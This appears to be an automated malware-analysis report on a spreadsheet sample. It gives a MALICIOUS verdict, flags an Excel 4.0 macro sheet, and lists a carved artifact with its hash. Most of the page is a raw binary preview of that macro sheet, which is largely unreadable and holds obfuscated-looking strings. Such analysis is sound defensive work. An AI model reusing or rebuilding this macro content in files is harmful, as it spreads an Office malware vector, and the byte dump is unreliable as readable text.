MALICIOUS
60
Risk Score
Heuristics 1
-
Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.bin |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.bin | 27531 bytes |
SHA-256: eb0ce0bb6189e8ee81eb32b9ab794b2b9430b3d2789b743441e3121cc210c8f2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
� � � @ �������� � � � � � � @ d � $ � � % �� & � ���� , � % �� & , 5 5 / % �� & , 9 � 9 % �� & , 9 � � % �� & , 9 � i
% �� & 0 , J � J @% �� & < , J � �
% �� & @ , � @ 0�@ T % �� & A , � @ `i@% �� & E , � ! % �� & H , �
$e � B � % �� & I , �
6 # D& � $� � $ � $t � B � % �� & J , �
6 # D& � $� � $ � $� 5 B � % �� & L , �
C 0 D � $y � $� � $5 5 $� B � � % �� & N , �
& DM @ B % �� & O , �
= * D/ � $: * $; � $5 5 $� B � % �� & Q , �
A� % �� & S , �
J 7 Du � $� s $� ` $y � $� � $. B � % �� & V , �
B 6 % �� & [ , � R
� @% �� & p , 3 % �� & r , 3 + % �� & u , 3 3 % �� & � , % �� & � , p � � 0 % �� & � , p � p . % �� & � , � � � % �� & � , � � � % �� & � , � �
Y� F W n Z d D r o i B x U q P V D� p D\ � Dr � D� G B X % �� & � , � �
=� * R c g u Q S b k f J Z r $; � B X % �� & � , � �
� $ . B � % �� & � , � �
� $#
V B � % �� & � , � % �� & � , � � & % �� & � , � * % �� & � , � � � % �� & � , � � � % �� & , �
%. C # B a�B 7 % �� & , � % �� & , � % �� &
, � � ) % �� & , T z T ( % �� & , T z z % �� & % , 7 7 7 % �� & 9 , ? � � % �� & ; , ? � ? 3 % �� & E , � % �� & H , � J ) % �� & J , � �
% �� & K , � � % �� & W , 3 � 3 ) % �� & Z , 3 � h � % �� & \ , 3 � � % �� & r , ' � � % �� & u , ' � � % �� & x , ' � ' % �� & � , � � � % �� & � , � � � % �� & � , c � � % �� & � , c � c % �� & � , � � � % �� & � , � � % �� & � , � % �� & � ,
i V W n Z d D r o i B x U q P V D
a D� � D� � D = D- � D� v B X % �� & � ,
= * R c g u Q S b k f J Z r $/ � B X % �� & � ,
$ . B � % �� & � ,
$� B � % �� & � , $ $ % �� & � , � % �� & � , � � % �� & , � % �� & , � � % �� & , � � � % �� & , � � � % �� & ; , $ $ % �� & M , q q q % �� & e ,
�
� � > W n Z d D r o i B x U q P V D� D� � Di
D% 7 D@ T D� v D z DH � D� � D 8 D� < D+ � D� X DD
+ D; $ Dn � D� � D< � DE � D� � D� D� D � Dj
� D� � D� D� � DK � D� D� { D � D � D; D9 � D� B X % �� & f ,
�
=� * R c g u Q S b k f J Z r $5 5 B X % �� & g ,
�
� $ . B � % �� & h ,
�
� $� I B � % �� & i ,
�
% �� & y , | � � % �� & z , | � | % �� & � , � �
i� V W n Z d D r o i B x U q P V D� @ DW 3 D� � DE � D
Dh � B X % �� & � , � �
=� * R c g u Q S b k f J Z r $� � B X % �� & � , � �
� $ . B � % �� & � , � �
� $ ; B � % �� & � , � � � % �� & � , X X
% �� & � , X
% �� & � , X P % �� & � , � � � � ' % �� & , ; � r % �� & , ; � � % �� & , ; �
q; ^ W n Z d D r o i B x U q P V D8 D� D� � D8
D � D� ^ Dh � B X % �� & , ; �
=; * R c g u Q S b k f J Z r $u � B X % �� & , ; �
; $ . B � % �� & , ; �
; $� � B � % �� & " , e � � % �� & ) , e � e 1 % �� & * , e � � % �� & H , � � � % �� & O , � � � ) % �� & Y , o o o % �� & ` , + � + % �� & o , + � � % �� & s , � � � % �� & z , � � � % �� & � , � % �� & � , � � % �� & � , � i % �� & � , � % % �� & � , � % �� & � , � � % �� & � , � h % �� & � , { { { % �� & � , � � � % �� & � , � �
� � W n Z d D r o i B x U q P V D� � Du 3 De D � D�
� D ^ D D�
� D D� r D� � D^ N DK D " DP � Dd : D$ � D
� Dp � D� � D� i D� � D[ R D' � D~
� D
� D� D� � D � D$ � B X % �� & � , � �
=� * R c g u Q S b k f J Z r $� B X % �� & � , � �
� $ . B � % �� & � , � �
� $� � B � % �� & � , � � � / % �� & � , 9 � v
� � � W n Z d D r o i B x U q P V D� + D� h D]
n D� � D� � D� � DZ
} Dx 3 D' D
D� s D� % D T B X % �� & � , 9 �
=� * R c g u Q S b k f J Z r $� s B X % �� & � , 9 �
� $ . B � % �� & � , 9 �
� $� � B � % �� & � , 9 � 9 % �� & � , 9 � � " % �� & ,
) % �� & , 5 5 5 % �� & $ , � � % �� & ' , � % �� & ( , � � % �� & , , � D % �� & 4 , 3 3 3 % �� & B , k � � % �� & D , k �
� k � W n Z d D r o i B x U q P V D� a D� _ D� P D� � DY o D�
DC : D[ � D� � DR � DO } D� � B X % �� & E , k �
=k * R c g u Q S b k f J Z r $� � B X % �� & F , k �
k $ . B � % �� & G , k �
k $ � B � % �� & P , 3 | | % �� & Q , 3 | 3 % �� & e , � % �� & n , � � % �� & t , % �� & � , f { f % �� & � , f { { % �� & � , � �
% �� & � , � % �� & � , � � � % �� & � , � � � ! % �� & � , � � � % �� & � , � � � % �� & � ,
� � W n Z d D r o i B x U q P V D D i D� D� D�
� D� \ DP | D�
c DJ j D( c DE D � B X % �� & � ,
= * R c g u Q S b k f J Z r $: * B X % �� & � ,
$ . B � % �� & � ,
$� � B � % �� & � , G � G ) % �� & � , G � � % �� & , = = = % �� & , ^ � � % �� & , ^ � � % �� & , ^ � ^ % �� & ' , � � � % �� & 8 ,
% �� & C , � 5 % �� & E , � � % �� & N , � & .
% �� & R , � � � % �� & c , # � � % �� & d , # � # . % �� & h , # � � @% �� & ~ , ! ! ! % �� & � , � � � % �� & � , � � % �� & � , � v - % �� & � , � % �� & � , � � % �� & � , � W % �� & � , � � % �� & � , � � % �� & � , 6 6 6 % �� & � , ` s s % �� & � , ` s ` % �� & � , _ _ _ + % �� & � , � � % �� & � , � % �� & � , @ � @ ) % �� & � , @ � � % �� & � , @ � � % �� & ,
% �� & ,
% �� & , � � % �� & , � % % �� & , � " % �� & ( , c � c % �� & + , c � � % �� & C , : � : @% �� & E , : � � % �� & F , : � � % �� & ] , � � � ) % �� & k , R e R % �� & m , R e e ( % �� & r , W W % �� & y , W % �� & � , + � � % �� & � , + � + " % �� & � , � �
% �� & � , � % �� & � , \ � � % �� & � , \ � � % �� & � , \ � \ % �� & � , � � � % �� & � , % �� & � , d � � % �� & � , d � d % �� & , � �
� � v W n Z d D r o i B x U q P V Dd
p D r D � Dj � D( � D� Do � D Dr W D� � B X % �� & , � �
=� * R c g u Q S b k f J Z r $t � B X % �� & , � �
� $ . B � % �� & , � �
� $� � B � % �� & , � � � $ % �� & , � � � % �� & $ , o � � % �� & ' , o � o % �� & 4 , \ \ \ % �� & J , j j j ' % �� & [ , � � � % �� & i , � �
Y� F W n Z d D r o i B x U q P V D D� � D" � D� � B X % �� & j , � �
=� * R c g u Q S b k f J Z r $y � B X % �� & k , � �
� $ . B � % �� & l , � �
� $�
B � % �� & p , 3 � � % �� & x , 3 � 3 % �� & ~ , 3 � � % �� & � , a a a % �� & � , � � � % �� & � , � � � 0 % �� & � , � � � % �� & � , � �
q� ^ W n Z d D r o i B x U q P V D] � DO � D9 | D� * D4 \ D� � DH J B X % �� & � , � �
=� * R c g u Q S b k f J Z r $� ` B X % �� & � , � �
� $ . B � % �� & � , � �
� $i � B � % �� & � , ( ( ( % �� & , = = = * % �� & , � � % �� & , � % �� & # , � � � % �� & $ , � � � ) % �� & 8 ,
y f W n Z d D r o i B x U q P V D� D; ? DT � D� � Dd # D�
~ D~ � D � B X % �� & 9 ,
= * R c g u Q S b k f J Z r $� ^ B X % �� & : ,
$ . B � % �� & ; ,
$I B � % �� & T , N � � & % �� & ^ , N � N % �� & | , ~ ~ ~ - % �� & � , � � � % % �� & � , \ � �
% �� & � , \ � � % �� & � , \ � \
% �� & � , � �
y� f W n Z d D r o i B x U q P V D_ � D� � D� � D� � D/ � D) e D| ~ D� = B X % �� & � , � �
=� * R c g u Q S b k f J Z r $� � B X % �� & � , � �
� $ . B � % �� & � , � �
� $8 B � % �� & � , X � X % �� & � , X � � , % �� & � , � � � % �� & � , ^ � ^ @ � % �� & � , �
� � � W n Z d D r o i B x U q P V D� � D` + D� � D � Dz � D� D � D�
� D' o DQ � D1 - DN b D� � D� X D� � D� $ Du � D B X % �� & � , � @
=� * R c g u Q S b k f J Z r $� 5 B X % �� & � , �
� $ . B � % �� & � , �
� $2 � B � % �� & � , � % �� & � , � " % �� & , � � � �?% �� & , � �
Q� > W n Z d D r o i B x U q P V D
� D� W D$ � B X % �� & , � �
=� * R c g u Q S b k f J Z r $ � B X % �� & , �
� $ . B � % �� & , �
� $� B � % �� & , � �
% �� & , � % �� & , � � % �� & / , � � � % �� & 2 , �
y� f W n Z d D r o i B x U q P V Dm
C D� c Do � D�
* D}
� D � D4
� Dj � B X % �� & 3 , �
=� * R c g u Q S b k f J Z r $& � B X % �� & 4 , �
� $ . B � % �� & 5 , �
� $P � B � % �� & 8 , � " % �� & L , " } " % �� & O , " } } % �� & P , � � � % �� & j , � � � % �� & q , � � % �� & ~ , � % �� & � , � � � % �� & � , D �
i� V W n Z d D r o i B x U q P V D� � D� � D� � D� � D� � DN B X % �� & � , D �
=� * R c g u Q S b k f J Z r $ � B X % �� & � , D �
� $ . B � % �� & � , D �
� $Z � B � % �� & � , D � D % �� & � , = � = 2 % �� & � , = � �
% �� & � , � e % �� & � , � % �� & � , � � + % �� & � , � � � % �� & � , � � � $ % �� & � , � � � * % �� & � , � � % �� & � , � % �� & � , � u % �� & � , � <
� I � W n Z d D r o i B x U q P V D� . D� � Dk R D# � D� D D� ` D� � D� { D� ( DL " D� � D1
� D 9 D� � D� � DQ 3 Ds
� DM q DF � DZ h D� � Ds � DJ � D� ] D� � D� D~ ! D� D3
� D� \ D 5 D D, D D� � D�
� D
DE Dz | D� � D� � D� 6 Dy D�
DL � D� u D � D
+ D� d B X % �� & � , �
=I * R c g u Q S b k f J Z r $. B X % �� & � , � .
I $ . B � % �� & � , �
I $� � B � ] % �� & � , / % �� &
, � + % �� &
, � � % �� &
, � a % �� &
, + � 5 ( % �� &
, + � � % �� &
, + � + � % �� & #
, V V
yV f W n Z d D r o i B x U q P V D� � D� D� e D
� Dk D 5 D� Dc � B X % �� & $
, V V
=V * R c g u Q S b k f J Z r $� � B X % �� & %
, V V
V $ . B � % �� & &
, V V
V $� � B � % �� & 1
, � � � % �� & 3
, � � � % �� & 4
, � � � @% �� & D
, + + + % �� & Z
, n } } % �� & ]
, n } n % �� & d
, C � p % �� & j
, C � � % �� & m
, C � C % �� & s
, � � � % �� & }
, � � � % �� & ~
, � � � % �� & �
, c c c % �� & �
, ~ � � % �� & �
, ~ � ~ % �� & �
, � � � % �� & �
, { { % �� & �
, { % �� & �
, �
� � W n Z d D r o i B x U q P V D� � D D� � Dy � D� D�
{ D0 J D� DB � DZ � Dt D� � B X � % �� & �
, �
= * R c g u Q S b k f J Z r $( B X % �� & �
, �
$ . B � % �� & �
, �
$D k B � � % �� & �
, � " % �� & �
, � % �� & �
, * � * � % �� & �
, * � � % �� & , � � � % �� & - , � � � & % �� & 1 , |
- % �� & 9 , | | % �� & N , b b b % �� & P , � �
� � � W n Z d D r o i B x U q P V Dx ' D[ � D4 3 D � D� f D~ D D� � Dq � D�
D�
� DC 5 DN . Dr + D� � D
5 B X % �� & Q , � �
=� * R c g u Q S b k f J Z r $� � B X � % �� & R , � �
� $ . B � % �� & S , � �
� $ � B � % �� & Z , � �
� � � W n Z d D r o i B x U q P V D� D� D� � D� D � D� � D� 9 D* � D1 D� � D� � D� � D� � D� � D� � D = Dp Dm e B X % �� & [ , � �
=� * R c g u Q S b k f J Z r $y � B X % �� & \ , � �
� $ . B � % �� & ] , � �
� $� � B � % �� & _ , � � � % �� & d , � : % �� & h , � � ) % �� & j , � � @% �� & k , � % �� & o , � � % �� & , 8 8 8 % �� & � , r � r % �� & � , r � � % �� & � , � � � # % �� & � , � � � � % �� & � , � � � % �� & � , � % % �� & � , � � # � � B � 0C� 0ffffff�?ffffff�? �? �?333333�?333333�?% �� & �
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.